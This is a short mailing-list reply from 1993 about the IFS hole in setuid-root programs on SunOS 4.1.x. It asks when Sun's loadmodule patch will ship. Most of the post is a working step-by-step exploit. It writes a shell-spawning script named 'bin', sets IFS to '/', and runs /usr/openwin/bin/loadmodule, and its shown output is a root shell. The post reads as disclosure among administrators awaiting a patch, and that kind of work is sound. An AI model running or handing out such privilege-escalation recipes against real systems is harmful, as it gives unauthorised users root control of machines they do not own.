Re: IFS hole?

[kraitch () EECS Berkeley EDU (mark kraitchman)]

In Message-Id: <9312151103.AA10103 () ramon bgu ac il>
jsz () ramon bgu ac il (Yonathan) writes how to get root using
/usr/local/bin/sysinfo (which I don't have) and the IFS bug.

What I am wondering, is how long it will be before Sun officially
releases the sun4 patch for SunOS 4.1.x loadmodule (100448-02)?  I
thought the patch was going to be released yesterday?

Here is yet another `how-to' example about the importance of IFS in
setuid root programs.

%cat >~/bin/bin
#!/bin/sh
sh -i
^D
%chmod 755 ~/bin/bin
%setenv IFS /
%cd ~/bin
%/usr/openwin/bin/loadmodule /sys/sun4c/OBJ/evqmod-sun4c.o /etc/openwin/modules/evqload
# whoami
root